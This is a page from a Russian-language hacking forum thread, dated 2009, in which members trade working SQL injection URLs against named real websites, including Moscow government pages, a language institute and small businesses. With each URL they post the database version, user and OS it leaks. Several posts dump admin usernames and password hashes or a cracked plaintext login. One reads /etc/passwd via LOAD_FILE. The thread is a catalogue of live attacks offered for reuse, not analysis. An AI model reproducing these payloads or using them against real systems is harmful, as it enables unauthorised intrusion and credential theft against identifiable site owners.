SQL Инъекции

Discussion in 'Уязвимости' started by m0nzt3r, 4 Jul 2006.

Thread Status:
Not open for further replies.
Page 435 of 798
  1. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Бизнес организация стратегии системы "Босс" >>
    Code:
    http://www.bossmag.ru/view.php?id=-3343'+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8,9,10,11,12,13--+
    db: 5.0.32-Debian_7etch4-log
    name_db: z90196_bossmag
    user: [email protected]
    os: pc-linux-gnu

    Сервак медленный, нет не какого желания на нем докручивать.....
     
    #8681 farex, 7 Apr 2009
  2. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    User: root@localhost
    Version: 5.0.27-community-nt
    Db: hartt
     
    #8682 $n@ke, 7 Apr 2009
  3. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    http://www.yourhometeamatremax.ca/listing_profile.php?PropertyID=-306+union+select+1,2,3,4,5,6,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29--


    Database Version: 4.1.20
    Database name: yhtatremax
    User name: remax06@localhost
    Os : redhat-linux-gnu
     
    #8683 Gorev, 7 Apr 2009
    Last edited: 7 Apr 2009
  4. Muhacir

    Muhacir Elder - Старейшина

    Joined:
    5 Oct 2006
    Messages:
    91
    Likes Received:
    51
    Reputations:
    -2
    Code:
    http://www.on-the-right-track.com/newsletter.php?id=16933+UNION+SELECT+1,2,3,4,5
    Database Version: 4.1.22-standard-log
    Database name: admin_main
    User name: admin@localhost
     
    #8684 Muhacir, 7 Apr 2009
  5. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Data Robotics >>
    Code:
    http://www.drobo.com/droboapps/downloads/index.php?id=-16+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25--+
    db: 5.0.67-community
    name_db: droboco_datarobotics1
    user: droboco_dradmin@localhost
    os: redhat-linux-gnu
    ---------------------------
    http://www.drobo.com/admin/login.php
    ---------------------------
    tables:
    accounts
    members
     
    #8685 farex, 7 Apr 2009
    1 person likes this.
  6. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.fairtourismsa.org.za/fttsa/display.php?id=50/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30/**/LIMIT/**/1,1/*

    Database Version: 5.0.37-community-nt
    Database name: fttsa
    User name: [email protected]

    есть smf_members

    Fields member_name:passwd:password_salt

    admin:3e86317ab708619c0fd544f555c1e4bcc7d7af3a:f09b
     
    #8686 Rubaka, 7 Apr 2009
    Last edited: 7 Apr 2009
  7. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Институт русского языка >>
    Code:
    http://www.ruslang.ru/agens.php?id=div&sp=-84+union+select+1,2,3,4,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),6,7,8,9,10,11,12,13,14,15,16,17,18,19--+
    db: 4.1.25-log:
    name_db: db10011926
    user: 10011926@localhost
    os: unknown-freebsd4.10
     
    #8687 farex, 7 Apr 2009
  8. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Анимационная студия мультфильмов TOONDRA

    Code:
    http://www.toondra.ru/news.php?newsID=-115+union+selecT+1,2,3,4,5--
     
    #8688 R1dex, 7 Apr 2009
    Last edited: 20 Apr 2009
  9. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    В честь беспорядков в Кишинёве :D

    Code:
    http://www.kishinev.ru/php-bin/gorod_res.php?object_=0+union+Select+1,2,3,concat(user(),0x3a,version(),0x3a,database()),5,6,7,8,9,0,11--
    Database Version: 5.0.67-community-nt
    Database name: ghincul
    User name: [email protected]


    Code:
    http://www.kishinev.ru/php-bin/gorod_res.php?object_=0+union+Select+1,2,3,concat(user_name,0x3a,user_password),5,6,7,8,9,0,11+from+cpg_users--

    http://www.kishinev.ru/gallery/
    astanc_:1915
     
    #8689 ph1l1ster, 7 Apr 2009
    1 person likes this.
  10. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Управления в ЖКХ >>
    Code:
    http://www.g-k-h.ru/articles.php?id=-928'+union+select+concat_ws(0x3a,version(),database(),user(),@@version_compile_os),2,3,4,5,6,7,8/*
    db: 4.1.21-log
    name_db: lex_pravo
    user: rshm_minimba@localhost
    os: portbld-freebsd6.1
    ---------------------------------------------------------
    <<Международная выстовка продуктов питания >>
    Code:
    http://www.peterfood.imperiaforum.ru/page.php?id=999'+union+select+1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32,33,34,35,36,37,38,39,40,41,42,43,44,45,46,47,48,49,50,51,52,53,54,55,56,57,58,59,60,61,62,63,64,65,66,67,version(),69,70--+
    db: 5.0.24a
    name_db: imperia2
    user: imperia2@localhost
    os: unknown-freebsd6.1

    information_schema :( :( :( - locked.....
     
    #8690 farex, 7 Apr 2009
    Last edited: 7 Apr 2009
    1 person likes this.
  11. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 5
    http://www.saugeenshores.ca/municipal/main.php?PageID=193+and+substring(y(),1,1)=x


    y1=version
    y2=database
    y3=user

    x=Version : 3.23.56-Max
    Database : saugeenshores
    User : saugeendb@localhost
     
    #8691 Gorev, 7 Apr 2009
    1 person likes this.
  12. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://www.natinc.us/event-display.php?id=1067/**/UNION/**/SELECT/**/1,2,3,4/**/LIMIT/**/1,1/*

    Database Version: 5.0.37
    Database name: tenenz
    User name: tenendbuser@localhost

    есть jos_users

    admin:c08bb1867315ff4f6c335163f065284d

    load_file

    http://www.natinc.us/event-display.php?id=1067/**/UNION/**/SELECT/**/LOAD_FILE(0x2F6574632F706173737764),2,3,4/**/LIMIT/**/1,1/*
     
    #8692 Rubaka, 7 Apr 2009
    3 people like this.
  13. ph1l1ster

    ph1l1ster Elder - Старейшина

    Joined:
    11 Mar 2008
    Messages:
    396
    Likes Received:
    153
    Reputations:
    19
    ardo.ru
    тиц 1000

    Database Version: 4.1.22
    Database name: ardo_ardo
    User name: [email protected]

    Code:
    http://www.ardo.ru/main.php?trid=-1+union+select+1,4,3,4,5,concat(version(),0x3a,user(),0x3a,database()),7,8,9,10,11,12,13,14,15,16

    dvuser.co.uk

    Database Version: 4.0.27-standard-log
    Database name: db1
    User name: [email protected]

    Code:
    http://www.dvuser.co.uk/content.php?CID=99999+union+select+1,2,3,concat(version(),0x3a,user(),0x3a,database()),5,6,7,8,9,10,11

    www.madinacenter.com

    Database Version: 5.0.67-community
    Database name: madina_Madina
    User name: madina_madina@localhost

    Code:
    http://www.madinacenter.com/post.php?DataID=-1+union+Select+1,2,3,concat(user(),version(),database()),concat(uname,0x3a,upass),6,7+from+users

    kvodrat.ru

    Database Version: 5.0.67-log
    Database name: u61710_kv
    User name: [email protected]

    Code:
    http://kvodrat.ru/index.php?note=-1+union+select+1,concat(login,0x3a,pass),concat(user(),database(),version()),4,5,6,7,8,9,10,11,12,13,14,15+from+kv_adminusers
     
    #8693 ph1l1ster, 7 Apr 2009
  14. Gorev

    Gorev Level 8

    Joined:
    31 Mar 2006
    Messages:
    2,551
    Likes Received:
    1,259
    Reputations:
    274
    Pagerank: 4
    http://www.pumpkinfest.org/news_full.php?NewsID=32+and+substring(y(),1,1)=x


    y1=version
    y2=database
    y3=user

    x=Version : 3.23.56-Max
    Database : pumpkinfest
    User : pumpkindb@localhost
     
    #8694 Gorev, 8 Apr 2009
    1 person likes this.
  15. Rubaka

    Rubaka Elder - Старейшина

    Joined:
    2 Sep 2007
    Messages:
    263
    Likes Received:
    150
    Reputations:
    28
    http://more.poetrysociety.org.uk/landmark/display.php?id=-1664/**/UNION/**/SELECT/**/1,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,18,19,20,21,22,23,24,25,26,27,28,29,30,31,32/*

    Database Version: 5.0.41-log
    Database name: poetrysociety
    User name: poet@localhost
     
    #8695 Rubaka, 8 Apr 2009
  16. $n@ke

    $n@ke Elder - Старейшина

    Joined:
    18 Sep 2006
    Messages:
    696
    Likes Received:
    404
    Reputations:
    134
    Db: catalog_test
    User: dynamic_map@webapp1
    Version: 5.0.19-standard-log

    ========================================
    User: ischool@localhost
    Version: 5.0.45
    Db: iSchool
    ========================================
    User: [email protected]
    Version: 5.0.45-log
    Dbname: fordschool
     
    #8696 $n@ke, 8 Apr 2009
    Last edited: 8 Apr 2009
    2 people like this.
  17. R1dex

    R1dex Elder - Старейшина

    Joined:
    17 Sep 2008
    Messages:
    255
    Likes Received:
    132
    Reputations:
    19
    Кузовные запчасти для иномарок в Санкт-Петербурге

    Code:
    http://forwardsp.ru/catalog/?car=2871+union+select+1,2,3,4,5,6,7,8,9,0,11,12,13,14,15,16,17--
    Запчасти для автомобилей иностранного производства со склада в Санкт-Петербурге.

    Code:
    http://avto-import.org/price.php?c=7+and+substring(version(),1,1)=4
     
    #8697 R1dex, 8 Apr 2009
    2 people like this.
  18. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Северный административный округ "Москва">>
    Code:
    http://beg.sao.mos.ru/news_full.php?id=-18760+union+select+1,unhex(hex(concat_ws(0x3a,version(),database(),user(),@@version_compile_os))),3,4,5--+
    db: 4.1.12
    name_db: sao
    user: sao@chicken
    os: redhat-linux-gnu
     
    #8698 farex, 8 Apr 2009
    1 person likes this.
  19. f1ng3r

    f1ng3r [забытый полк]

    Joined:
    14 Jan 2009
    Messages:
    529
    Likes Received:
    413
    Reputations:
    256
    Code:
    http://sibaero.ru/index.php?module=xid&func=viewpub&tid=1&pid=-1%20union%20select%201,2,3,4,5,6,7,8,9,10,11,12,13,14,15,16,17,concat_ws(0x3a,version(),databas e(),user()),19,20,21,22,23,24/*

    Database Version : 4.1.22-log:
    Database name : db_sibaero_sibaero
    User name : sibaero_sibaero@localhost


    -------------------------------------------------------------+

    Code:
    http://www.krani.ru/index.php?ids=-1+union+select+1,2,concat_w s( 0x3a,version(),database(),user()),4,5,6,7--
    Database Version : 4.1.22
    Database name : krani00
    User name : krani00@localhost


    -------------------------------------------------------------+

    Code:
    http://www.kubrti.ru/news?id=-24+unIOn+sELeCT+1,2,3,concat_ ws(0x3a,version(),database(),user()),5--
    Database Version : 4.0.27-log
    Database name : ksvksv99
    User name : [email protected]


    -------------------------------------------------------------+

    Code:
    http://www.motordetal.com.ua/news/index.php?id_year=-2007+union+select+1,2,concat_ ws(0x3a,version(),database(),user())--
    Database Version : 4.1.25-log
    Database name : motor
    User name : [email protected]

    -------------------------------------------------------------+

    Code:
    http://www.fa13.com/news.html?id=-1+union+select+1,2,concat_ ws(0x3a,version(),database(),user()),4,5--
    Database Version : 4.1.10a
    Database name : fa13_add
    User name : fa13_forum@localhost
     
    #8699 f1ng3r, 8 Apr 2009
    3 people like this.
  20. farex

    farex Banned

    Joined:
    11 Mar 2009
    Messages:
    213
    Likes Received:
    85
    Reputations:
    6
    <<Департамент Науки и Промышленной Политики города Москвы>>
    Code:
    http://www.dnpp.ru/smi.php?id=-129'+union+select+1,concat_ws(0x3a,version(),database(),user(),@@version_compile_os),3,4,5,6,7,8,9,10--+
    db: 5.0.67-community-nt
    name_db: dnpp
    user: duser@localhost
    os: Win32

    table: _system_users
    log: PSS
    pass: PsS , помог расшифровать f1ng3r спс ++ :) с меня в следующий пост
    status: boss

    log: user
    pass: user
    status: user
     
    #8700 farex, 8 Apr 2009
    Last edited: 8 Apr 2009
    4 people like this.
(You must log in or sign up to post here.)
Page 435 of 798
Thread Status:
Not open for further replies.
Language
English (US)
    ANTICHAT ™ © 2001-2027 Antichat Kft.